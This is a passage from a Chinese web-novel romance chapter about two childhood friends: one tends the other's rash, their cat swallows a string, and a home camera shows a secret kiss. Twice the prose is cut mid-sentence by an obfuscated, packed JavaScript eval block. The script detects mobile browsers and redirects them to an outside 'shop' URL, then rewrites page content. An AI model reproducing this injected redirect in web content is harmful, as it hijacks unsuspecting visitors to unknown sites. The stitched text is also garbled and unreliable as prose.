“小凝你坐在……”陆时衍转过来刚好看到江凝云在自顾自地活动脸肉,一边颧骨抬起来,一只眼睛闭着,有点像wink。 看得陆时衍嘴角没忍住翘了一下,接着强行往下压了压,很刻意地咳了两声,“...坐在这里。” “你——”江凝云瞪大了眼睛,他刚刚看得清清楚楚,“陆时衍你笑我!”难以置信的语气。 “我都这样了你还笑我!”鬼脸一样的表情猝不及防被人看到,江凝云恼羞成怒,两步上前在陆时衍的肩膀捶了一下,“我不会原谅你的。” 陆时衍配合地发出被打中的声音,一时间被眼前人可爱得说不出话,“对不起小凝。”伸手顺势拉过江凝云的手臂让人在面前的椅子上坐下。 陆时衍从包里抽出一片独立包装的生理盐水棉片,撕开,然后在江凝云面前弯下腰。 “我要自己来。”江凝云伸手想接。 陆时衍没给他。 江凝云的手顿在空中,耳根还有点红,语气硬邦邦的,“为什么不给我?” “这里没有镜子,你自己擦看不清楚,我帮你,”陆时衍顿了顿,又笑着补了句,“给我一个将功补过的机会。嗯?” 江凝云被陆时衍说得又是脸上一热,可这理由实在无法反驳。 他嘴唇嗫嚅两下,“……行吧。” 棉片拂过脸颊,凉丝丝的。陆时衍的动作很轻,沿着江凝云的脸颊轮廓,一点一点地把脸上沾到的灰尘和草屑擦去。 擦完后,他把棉片扔进垃圾桶,又从包里拿出一支药膏。 江凝云看着那支药膏,怔了怔。 只是一支普通的抗过敏药膏,这没什么特别的,但让江凝云愣住的点在于,陆时衍拿出它的动作也太顺了。 就像早早就准备好了一样。 “你…”江凝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318933|199018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云看着陆时衍挤出大小米粒的药膏,歪了歪头,问道,“你怎么还带了这个?” 陆时衍的动作顿了一下,没想到江凝云会注意到这个,神色闪过一丝不自然,一下子没想到合适的理由,实话实说道:“换季的时候皮肤容易不舒服。” 只不过没说是谁不舒服。 江凝云眨了眨眼睛:“哦……” “……”见江凝云没听出来,陆时衍也不知道自己心里是庆幸还是遗憾。 他屏住了呼吸,用指腹把药膏轻轻点在江凝云脸颊的红疹上,再一圈一圈慢慢推开,力道轻得不像话。 沉默在房间里蔓延,只有窗外偶尔传进来的风声。 指腹下的皮肤光滑绵软,陆时衍的手指在江凝云的脸颊上移动,距离太近了,以至于他的眼神不敢乱瞟,只能强制要求自己盯着面前的一小处皮肤。 江凝云舒服得眯了眯眼睛。 他听到陆时衍突然叫了他一声。 “小凝。” 江凝云:“嗯?” “你是不是在躲我?” “……”没有任何铺垫,这样旱地拔葱的,让江凝云的心跳忽然快了一拍。 他骤然睁开眼睛,见陆时衍手上涂抹的动作没停,漆黑的瞳仁看上去很沉静,看起来就像是问“今天天气怎么样”一样自然。 江凝云的眼神心虚地往旁边瞟。 该不会被陆时衍发现了吧? 他有那么明显吗? “没、没有啊,”江凝云扯出一个笑,想打个哈哈过去,“我干嘛躲你……” “小凝。”陆时衍涂完了,直勾勾地看着他。 江凝云噤了声,唇珠被抿得有点扁,他看着陆时衍。 陆时衍不知道相信了没有,声音比刚才轻了很多:“不管我们两个人的关系怎么样,我希望你永远都不要在我面前伪装。” “好吗?” 江凝云当然不希望在陆时衍面前伪装,可是他也很重视他们这段感情。 他不想因为他们之间的过度亲密,让陆时衍感到困扰。 江凝云说好。 听到这个答案后,陆时衍觉得胸中空落落的感觉比先前又缓解了一些。 但不多。 因为他看到小凝躲闪的眼神了。 小凝真的很不会说谎。 - 晚上,村里为了感谢他们画的墙绘以及对村民们做的科普,给他们准备了晚餐。 江凝云和陆时衍坐在一起,陆时衍像往常一样给江凝云倒饮料,想给江凝云装汤,结果都被江凝云拦住了。 经过下午的承诺,江凝云这次让自己的语气尽量自然:“我自己来就可以。” 陆时衍:“嗯。” 声音轻得近乎没有。 - 回去路上,江凝云又难受了,但一天下来实在太累,晕车的感觉被疲惫压下去一点,困意反而占了上风。 他靠着椅背,闭上眼睛迷迷糊糊地睡着了。 睡梦中,江凝云的头轻轻地歪了一下,控制不住地磕到窗户,眼睛睁开了一秒,然后又歪回来靠回椅背。 始终没有靠上那个他之前想靠就靠的肩膀。 陆时衍坐在旁边,看着那颗脑袋摇摇晃晃的,他下意识地抬起手,想把江凝云揽过来。 但伸到一半又想到今天早上无意间听到的那句话,还有晚餐时那些客气的躲避,以及江凝云今天之内居然对他说了两次谢谢。 陆时衍的手慢慢收回来。 车里很暗,没人看见陆时衍的喉结滚动了一下。 18. 第 18 章 第二天,江凝云是被一阵急促的敲门声吵醒的。 昨天累了一整天,今天是周天,他想睡个好觉也不行。 江凝云皱了皱眉,但也没磨蹭,欲哭无泪地趿拉着拖鞋下床开门,毕竟陆时衍从来没有这么急地敲过他的门,估计是有什么事。 门一打开江凝云的困意就消散了大半。 陆时衍站在门口,手里提着航空箱,呼噜已经被放进去了,他本人则是随便套了件衣服,头发也有些乱。 江凝云从来没看到陆时衍脸上露出这样焦急失控的神色。 “小凝,”陆时衍眉头紧蹙,声音有些发紧,“呼噜估计是误食了什么东西,我现在要带它去医院。” 陆时衍本来想直接去的,但怕江凝云醒来看到他们不在会着急,所以还是决定和他说一声。 江凝云瞬间完全清醒了,甚至感觉心脏都停了一秒,语速飞快道:“你先叫车!等我换个衣服,一分钟!” 他真的只花了一分钟。 江凝云随便套了件牛仔裤,把风衣往身上一披,毫无穿搭可言,也不管乱七八糟的头发,他抓起手机就跟着陆时衍一起出门,“走!” 电梯里,江凝云低头看着航空箱里的呼噜。 小猫半张着嘴,舌头微微吐出来一点,喉咙里卡着什么东西,时不时发出细小的呜呜声。 他的眼睛半眯着,看起来蔫蔫的没什么力气。 江凝云的心揪成了一团。 他伸出手,隔着笼子轻轻地点了点毛茸茸的脑袋。 “别怕,”他小声说,“马上到医院了。” 他们都是第一次养猫,遇到这种情况唯一能想到的办法就是快点去医院。 陆时衍也是止不住心慌,但两个人之中必须要至少有一个人保持镇定,他用力握了握江凝云冰凉的手,“呼噜会没事的。” 江凝云看着他坚定地点了点头,“……会没事的。” 两个人的声音都很轻,像是在互相打气。 - 到楼下时车刚好到了。这附近就有宠物医院,约七八分钟的路程。 到了医院,医生检查得很快。 “是这跟绳子。”医生从呼噜的喉咙里夹出一小截东西,细细的浅绿色,“卡在食道入口,还好你们送来得及时,要不然就要催吐了。” 江凝云凑过去看了看,认出这根绳子是昨天他穿的那件卫衣上面的,怎么会给呼噜吃掉了? 陆时衍看着那根绳子,整个人僵在原地。 估计是从烘干机里拿衣服的时候掉的。 今天是阴天,他早上担心衣服干不了,把昨晚的衣服都放进了烘干机,估计是拿出来的时候没注意,有一根掉在了地上。 所以是他。 是他让呼噜误食异物的。 江凝云去前台缴费,回来时看到陆时衍还站在原地。 陆时衍垂着眼睛,盯着面前的某一处,那张总是从容的脸上,少见地出现了无措。 当然也少不了自责和懊悔。 江凝云走过去,叫了声:“陆时衍。” 陆时衍的眼珠子缓慢地转动了下,目光缓缓落在江凝云白净的脸上,看到他额前的刘海还翘着一点。 他的嗓音有些发哑:“对不起,小凝。” 江凝云蹙了蹙眉,不知道他为什么突然要道歉:“嗯?” 陆时衍说是他让呼噜误食的。 江凝云看着他,忽然想起很小的时候。 有一次陆时衍考试没考好——其实只是掉出了年纪前三,但他硬是把自己关在房间里一整天,谁叫也不出来。 陆时衍就是这样一个人,从小就对自己严得要命。 不管什么事,只要出了一点错,第一个不原谅自己的人就是他。 江凝云叹了口气。 这几年他已经很少看到陆时衍这样了,而且陆时衍也比小时候开朗了许多。 江凝云有时候甚至会沾沾自喜,觉得自己的好心态真的给陆时衍带来了正向的改变。 但今天这件事让江凝云隐隐感觉到,陆时衍是不是根本就没变? 四目相对间,江凝云看见他眼底清晰可见的自责和懊悔。 “那你要这么说的话,绳子是我卫衣上的,”江凝云说,“要怪也是怪我……” 话音未落,陆时衍就打断他:“不是……” “那就是烘干机的错,为什么那么暴力?”江凝云也打断他,语气带着点不讲理的任性,“你不要把所有的责任都往自己身上揽。” “我知道你不是故意的,以前就没出现过衣服上的装饰物掉下来的情况。” 陆时衍张了张嘴,没发出声音。 江凝云看他这样,知道要给陆时衍一点时间自己缓缓,伸手在他手臂上拍了两下,“呼噜还在等着我们回家呢。” “好。” 陆时衍看着江凝云往外走的背影,顿了顿,跟了上去。 - 回到家,呼噜已经缓过来了。 它在航空箱里待得不耐烦,一放出来就跑去喝水,喝完又在客厅跑了两圈,跟没事猫一样。 江凝云凑过去蹲在他面前摸摸小脸,压低声音戳了戳:“你吓死我了!” 见陆时衍没过来,江凝云把呼噜抱起来塞进陆时衍怀里:“你看,呼噜已经没事了。” 陆时衍把小猫接过来,胸口还是堵得慌,但他知道江凝云想听什么,“我下次会注意的。” “嗯嗯,”江凝云很敷衍地应了两声,而后瞪大眼睛说:“再自责我就要生气了!” 陆时衍挤出一个笑:“好。” - 总算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318934|199018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把人安慰好后,江凝云想看看呼噜到底是怎么吃的。 他拿起手机进了自己房间。 江凝云轻车熟路地打开家里的监控APP,调出今天早上的回放。 画面上,陆时衍从烘干机往外拿衣服,一件浅黄色卫衣被抽出来时,上面的装饰绳晃了晃,他没注意到有一小截掉在了地上。 呼噜跑过去低头嗅了嗅,然后叼起来在嘴里嚼嚼嚼,就那样咽了。 跟陆时衍说得一模一样。 江凝云他们已经很注意了,平常都不把小物件放在外面,看来今后注意事项还要再加一条,从烘干机里拿衣服要多加小心。 既然看都看了,江凝云又把时间调到昨晚,想看看呼噜晚上有没有乖乖睡觉,是不是又在客厅跑酷了。 画面里,客厅的灯已经关了,只有夜灯亮着微弱的光,江凝云看到呼噜趴在猫爬架上,睡得很香。 正要划过,指尖却猛地僵住。 画面里忽然出现了一个人影。 是陆时衍。 他穿着家居服,正抱着一个人往卧室里走。 那个人靠在陆时衍怀里,闭着眼睛,睡得毫无防备。 是江凝云自己。 江凝云这才想起来他昨天下乡实在是太累了,洗完澡还要和呼噜在客厅玩,结果不知道什么时候又不小心睡着了。 江凝云刚要划过,却发现安顿他睡下后,陆时衍并没有离开。 他在床边站了一会儿,然后伸出手,戳了戳江凝云的脸。 江凝云微微瞪大了眼睛。 陆时衍居然趁他睡觉时偷偷戳他的脸! 江凝云最讨厌别人碰到他的脸,小时候有人想捏他,他都会很生气地甩脸色,可他长得太可爱太漂亮了,像洋娃娃一样,小小一个生气也让人觉得萌。 陆时衍居然也这样...! 他有点想笑。 陆时衍怎么也会做这么幼稚的事? 下一秒,江凝云的思绪倏地被画面拉回来。 陆时衍戳完脸还不够,他又伸出手,这次是用拇指和食指,轻轻捏了一下江凝云脸颊上的肉。 甚至捏完还没有立刻松开,停在那儿,指尖贴着江凝云的皮肤,像是在感受着什么。 江凝云被他的动作惹得弯了弯眉眼。 陆时衍居然还捏了! 陆时衍一定没想到这些小动作会被自己发现,等他白天的时候一定要... 正想着要好好找陆时衍算账,欣赏一下陆时衍被拆穿后出糗的样子,江凝云倏地顿住了。 画面里的陆时衍收回了手。 那个向来冷静自持、恪守本分的竹马,在他的床边静立良久,最终俯身,在他沉睡的脸颊边上、落下了一个颤抖的、隐忍的吻。 江凝云的大脑瞬间一片空白。